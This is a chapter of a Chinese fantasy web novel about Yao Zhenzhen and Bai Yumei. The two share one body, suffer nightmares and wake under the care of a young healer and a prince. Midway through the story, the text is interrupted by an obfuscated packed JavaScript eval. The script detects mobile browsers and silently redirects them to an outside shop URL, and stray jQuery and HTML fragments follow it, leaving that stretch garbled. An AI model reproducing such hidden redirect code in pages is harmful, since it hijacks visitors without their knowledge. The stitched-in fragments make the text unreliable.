40. 梦魇
    姚珍珍再一次坠入梦境中。

    灵魂深处熊熊燃烧的杀欲还未能得到足够的抚慰,但孱弱的肉体凡胎已无力承载她更多的恣意挥霍,随着白郁湄的一声哀鸣,两人同时落入深黑的梦魇中。

    炙热的、燥郁的、苦痛的火焰灼烧着她的灵魂,令她忍不住的发出嘶哑的无声惨叫。

    有冰凉的触感落在她滚烫的肌肤上,似乎是有人伸出手指,在她的额间勾画描摹着什么。那阵冰凉从她的额头一路传进四肢百骸中,稍微缓解了来自灵魂深处的那份诡异的灼痛感。

    她想要睁开眼睛,却很迟疑地意识到自己实际上并没有闭眼——或者说,此时此刻,她睁大的眼珠上,似乎并没有眼皮这个东西。

    永无边际的黑填满了她所能看见的每个角落。

    姚珍珍感觉到了困惑,她张开嘴想要询问,但空荡荡的口腔里没有舌头,无论如何努力也说不出完整的词句。

    这个诡异的梦境持续了很久,她像是被困在身体中的囚徒,唯一能感觉到的便是头顶手指不断游移的冰冷触感。

    终于,冰冷的感觉离开了。

    姚珍珍听见一声长长的叹息,那声音离她很近,她努力睁开眼睛,依然什么都看不清。

    “……替你……取走……”有人在说话,只是声音模糊不清,姚珍珍费力的去听,也只能听见几个语焉不详的词汇。

    是谁?她逐渐熄灭的心火中生出丝丝缕缕的疑惑,又很快溺毙于铺天盖地涌来的困倦中。

    她没能再听见什么,只是在梦中再一次陷入深眠。

    ***

    白郁湄也在做梦。

    身体的超量透支对她造成了不小的负担,因此在梦境中,她再次回到了最弱小的时候。

    有人捏住了她的脸。她的下颌被一个坚硬而冰冷的东西抵住了,那人用的力气并不小,她感觉到一点细微的疼痛。

    “长得倒是不错。”那人开口说话。是个有点熟悉又有些陌生的女人声音。

    白郁湄的意识恍惚了一下。

    ——她已经很久没有听过这个女人的声音了,因此一时甚至未能反应过来。

    她在梦境中睁开眼,对上一张妆容精致的脸。

    ——楠九岛姜氏,姜敏如,陆哲的结契道侣。

    “就是看着不怎么安分……”姜敏如身边一个男子目光在白郁湄的脸颊上一扫而过,轻蔑道,“这样不驯顺的奴仆,留着也是多事。”

    白郁湄挑起眼皮,冷冷地看向说话的男子。

    她永远记得此时此刻的每一分细节,自然也想起了这个男子的身份——姜敏如的兄长,姜氏前途无量的少主姜博远。

    男子的轻贱的眼神中隐藏着微不可察的惊艳,而那时的白郁湄没有看出来。

    曾经的她是如此弱小,夫君是她能拥有的唯一的东西,所以她向他们祈求怜悯……但她得到的只是羞辱与折磨。

    白郁湄被捏住的脸颊忽然扯起一个笑容。

    ……她想起来了,姜博远动手杀死那些姜氏族人前,也曾涕泗横流地跪在她脚下乞怜。

    她总是记得此刻他轻蔑的表情,倒是有些忘了他临死前那绝望的滑稽样子。

    唔,此间事了,若是还能回岛,倒是要把他召来,好好温习一番,白郁湄心想。

    “陆家那小子不肯放弃她呢……倒显得我是什么恶人一样。”好像完全没发现手中女子脸上露出了怎样反常的表情,梦境中的姜敏如依然死板地按照她记忆里的模样说着台词。她说着,一边吃吃地笑了起来,发髻中钗环随着动作摇晃碰撞,发出稀碎的叮叮声响。

    “明明是他家上门求娶,倒赖得我们做这个恶人,”她松开手,手指上的金属戒指在白郁湄的下颌上留下一个淤红的印痕,“真的杀掉了她,陆氏那个小公子定要与我纠缠不休的,哥哥,你要怎么处理她?”

    “喂点药,一年半载的也就没了,陆家也不敢追究什么,”姜博远半偏过头不再看她,随口搪塞道,“你们女孩儿不必脏这个手,便都交给我来吧。”

    白郁湄已经懒得再看这梦中人的表演,干脆闭上了眼睛。

    此情此景曾在她脑海中千万次的反复再现,只是那时她心中还有恨……比不得如今只是倦怠。

    她感觉下颌再次被人捏住,腥甜的液体被灌进了嘴中。

    熟悉的疼痛从喉咙一路蔓延至心口,白郁湄简直要笑出声来。

    ——陆哲结契礼前夜,姜氏许她一味梦生之毒。

    此毒三日一服,若是断药,便心如刀绞,生不如死。

    姜敏如自诩仙门贵女,看不上她这样的微末草芥,不屑刁难。可姜博远这个伪君子却不同,他是光风霁月的天之骄子,自然不能有任何的逾矩之举,于是所有的阴暗都施予了白郁湄这个迟早就死之人身上。

    环佩叮铃声逐渐远去——姜敏如明日结契,自然没有时间与她虚耗。

    白郁湄被人扔在地上,头颅贴着冰冷的石砖。

    她心情颇为平静地躺着,等待着记忆里,来自头顶的那一下剧痛。

    但预想中的疼痛没有来,四下一片寂静。

    她睁开眼睛,发现自己已经回到了识海中。

    ——梦境结束了。

    ***

    “呃!”姚珍珍发出一声惊喘,挣脱了无边的梦魇。

    她猛地坐起身来,感觉浑身上下仿佛被千钧巨车碾过,无一处不酸乏。

    梦境中的场景几乎是在醒来的一瞬间便从她脑海中删除了,只剩下些莫名的情绪残留来下。

    姚珍珍睁开了眼睛。

    入目所见是一片雪白。

    她有些茫然地眨了眨眼睛,发现有人给自己眼前蒙上了一层白布。

    “你醒了!”少年带着欣喜的欢快语调响起在她的身边。

    姚珍珍伸手就想把遮眼的白布取下,手腕却被人一下抓住了。

    她听见了一阵细碎的铃响。

    “白姑娘,你浑身灵脉过度使用,头部瞳子髎受了冲撞,暂且不能见光。”

    “可是我能看见,并未失明,”姚珍珍回答道,一边谨慎地放下了手,“阁下,可是黎司药?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283604|133989||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    不知道对方做了什么动作,姚珍珍再次听见了一阵叮铃桄榔的响动,像是有人失手打翻了什么东西,动作间伴随着细密的铃响。

    “咳!”黎氏的小公子欲盖弥彰地咳嗽了一声,单手按住了女子的肩膀,“是我。你如今正在沧磐府内,三殿下请我来为你诊治。”

    “你虽未失明,但头部大穴受损,也需避光静养几日。”少年手上用力,想将她摁回床榻上去,只是对方完全不领情,依然直挺挺的坐着,转头看向他的方向。

    “如此,倒是有劳司药费心,”姚珍珍对着他点点头,忽然转过头,朝向床榻的另一边,“请问,定流坡恶蛟可是已解决?”

    姚珍珍的耳边忽然响起一道笑声,声音低沉,宛如月琴低鸣,撩动人心。

    “白姑娘……你这五感真是敏锐……”黎金铃不免发出一声小小的感叹。他也转过头,看向床榻另一边,正笑意盈盈地望着床上女子的燕鸣臻。

    “殿下,还是你来与她说明吧,”少年神态自若地收回了手,“想来若是不能知晓全貌,她也是不肯歇下的。”

    “无妨,”姚珍珍感觉到腰后及背部被塞了一个柔软的枕垫,有人伸手托住了她的后脑,“白姑娘,先躺下吧,听我与你说明。”

    她对燕鸣臻的声音十分熟悉,对方正在身边这个事实,有效地冲淡了些许目不能视的焦虑。

    姚珍珍点点头,放松身体,向后仰倒。

    “定流坡恶蛟已除,玄机处已去清扫现场,”燕鸣臻一手托着她的头靠上软枕,一边开口捡着重要的情况说给她听,“陆哲所在地洞也已寻到,我已遣人去天心阁求借青鸟一用,你不必担心。”

    【“姐姐……”白郁湄的声音忽然响起在内府中,“是我无能……连累了你。”】

    【“……”姚珍珍不免沉默。】

    ……若要说来,如今情状,实则是自己一时热血上头所致,若只是拖住那恶蛟一炷香时间,本不至于如此伤筋动骨。

    只怪一时心火迭起,情难自控。

    ……白郁湄的身体毕竟不是自己的,如此不管不顾,随意施为,实在不该。

    姚珍珍不由得抿起了嘴唇,斟酌着要如何回复白郁湄。

    【“此事本是我的过失,今后我定量力而行,你所受伤势,我也……”】

    但她话没说完,忽然感觉一侧脸颊被人碰了一下。

    “当时你灵力过载,气血上涌……”燕鸣臻手指极轻的在她脸上一扫而过,“有些淤血堆积,黎司药。”

    姚珍珍看不见黎金铃翻出的一个巨大的白眼,只听见衣袍窸窸窣窣的响动,伴随着叮铃铃的响声。

    “金石外创,本不该我来诊治,”少年声调提高了些许,好像是故意说给谁听,“药方我已交予膳房,你若不放心,再找医者验看罢。”

    听他这么说,姚珍珍也知道此番实在是亏欠各人诸多,她还要开口,却忽然听见吱呀一声门响。

    “殿下?”有人探头进来,谨慎道,“天心阁那边来人求见……”

    “……求见白姑娘。”